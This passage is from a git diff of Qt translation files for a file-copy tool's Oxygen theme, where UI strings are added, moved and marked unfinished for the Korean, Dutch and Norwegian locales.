+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/ko/translation.ts b/plugins/Themes/Oxygen/Languages/ko/translation.ts
index f9ebf4b..2d9b2f8 100644
--- a/plugins/Themes/Oxygen/Languages/ko/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/ko/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="+184"/>
+ <location filename="../../interface.cpp" line="+240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+70"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished">파일 %1/%2, 크기: %3/%4</translation>
</message>
<message>
- <location line="+553"/>
+ <location line="+214"/>
+ <source>Copy list</source>
+ <translation type="unfinished">복사 목록</translation>
+ </message>
+ <message>
+ <location line="+2"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+421"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">오류 발견시 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation type="unfinished">절대 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation type="unfinished">항상 종료</translation>
+ </message>
+ <message>
+ <location line="+2"/>
<source>File Name, 0KB</source>
<translation type="unfinished">파일명, 0KB</translation>
</message>
+ <message>
+ <location line="+183"/>
+ <location line="+12"/>
+ <location line="+12"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+75"/>
+ <location line="+4"/>
+ <location line="+2"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="+223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished">오류 발견시 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Never close</source>
+ <translation type="unfinished">절대 종료 안함</translation>
+ </message>
+ <message>
+ <location line="+1"/>
+ <source>Always close</source>
+ <translation type="unfinished">항상 종료</translation>
+ </message>
+ <message>
+ <location line="+196"/>
+ <location line="+15"/>
+ <location line="+15"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,22 +91,12 @@
<translation type="unfinished">원본:</translation>
</message>
<message>
- <location line="+34"/>
+ <location line="+30"/>
<source>To:</source>
<translation type="unfinished">대상:</translation>
</message>
<message>
- <location line="+64"/>
- <source>Shutdown when is finish</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>0KB/sec</source>
- <translation type="unfinished">0KB/초</translation>
- </message>
- <message>
- <location line="+20"/>
+ <location line="+161"/>
<source>&amp;More</source>
<translation type="unfinished">&amp;자세히</translation>
</message>
@@ -57,28 +116,31 @@
<translation type="unfinished">&amp;취소</translation>
</message>
<message>
- <location line="+15"/>
- <location line="+472"/>
<source>Limit copy speed at:</source>
- <translation type="unfinished">복사 속도 제한:</translation>
+ <translation type="obsolete">복사 속도 제한:</translation>
+ </message>
+ <message>
+ <location line="+58"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="-455"/>
- <source>Unlimited</source>
- <translation type="unfinished">무제한</translation>
+ <location line="+156"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+30"/>
- <source>Copy list</source>
- <translation type="unfinished">복사 목록</translation>
+ <location line="+55"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+164"/>
- <source>Ctrl+F</source>
+ <location line="+26"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location line="+104"/>
+ <location line="+55"/>
<source>Previous</source>
<translation type="unfinished">이전</translation>
</message>
@@ -88,73 +150,73 @@
<translation type="unfinished">다음</translation>
</message>
<message>
- <location line="+39"/>
- <source>Options</source>
- <translation type="unfinished">옵션</translation>
+ <location line="+113"/>
+ <source>Interface</source>
+ <translation type="unfinished">인터페이스</translation>
</message>
<message>
- <location line="+9"/>
- <source>Copy end</source>
- <translation type="unfinished">복사 종료</translation>
+ <location line="-389"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+21"/>
- <source>At the end of the copy: </source>
- <translation type="unfinished">복사 종료시:</translation>
+ <location line="-234"/>
+ <source>Close on transfer completion</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+39"/>
- <source>Don&apos;t close if errors are found</source>
- <translation type="unfinished">오류 발견시 종료 안함</translation>
+ <location line="+168"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+5"/>
- <source>Never close</source>
- <translation type="unfinished">절대 종료 안함</translation>
+ <location line="+92"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+5"/>
- <source>Always close</source>
- <translation type="unfinished">항상 종료</translation>
+ <location line="+26"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+11"/>
- <source>Speed limit</source>
- <translation type="unfinished">속도 제한</translation>
+ <location line="+26"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+31"/>
- <source> KB/s</source>
- <translation type="unfinished"> KB/초</translation>
+ <location line="+26"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+32"/>
- <source>File collisions</source>
- <translation type="unfinished">파일 충돌</translation>
+ <location line="+55"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+21"/>
- <location line="+60"/>
- <source>What to do: </source>
- <translation type="unfinished">실행 작업:</translation>
+ <location line="+152"/>
+ <location line="+69"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="-21"/>
- <source>Copy errors</source>
- <translation type="unfinished">오류 복사</translation>
+ <location line="-49"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+78"/>
- <source>Interface</source>
- <translation type="unfinished">인터페이스</translation>
+ <location line="+39"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+11"/>
- <source>Show speed as main informations</source>
- <translation type="unfinished">메인 정보에 속도 표시</translation>
+ <location line="+5"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location line="+37"/>
+ <location line="+51"/>
<source>Add file</source>
<translation type="unfinished">파일 추가</translation>
</message>
@@ -185,15 +247,94 @@
</message>
</context>
<context>
- <name>options</name>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="+253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../options.ui" line="+20"/>
- <source>Show speed as main informations</source>
+ <location line="-48"/>
+ <source>Show speed as main information</source>
<translation type="unfinished">메인 정보에 속도 표시</translation>
</message>
<message>
- <location line="+13"/>
- <source>Start with more button pushed</source>
+ <location line="-161"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+17"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+29"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+7"/>
+ <location line="+34"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+39"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+116"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">복사 종료시:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">복사 속도 제한:</translation>
+ </message>
+ <message>
+ <location line="-145"/>
+ <source> KB/s</source>
+ <translation type="unfinished"> KB/초</translation>
+ </message>
+ <message>
+ <location line="+52"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+38"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+30"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-10"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-203"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/nl/translation.ts b/plugins/Themes/Oxygen/Languages/nl/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/nl/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/nl/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/no/translation.ts b/plugins/Themes/Oxygen/Languages/no/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/no/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/no/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
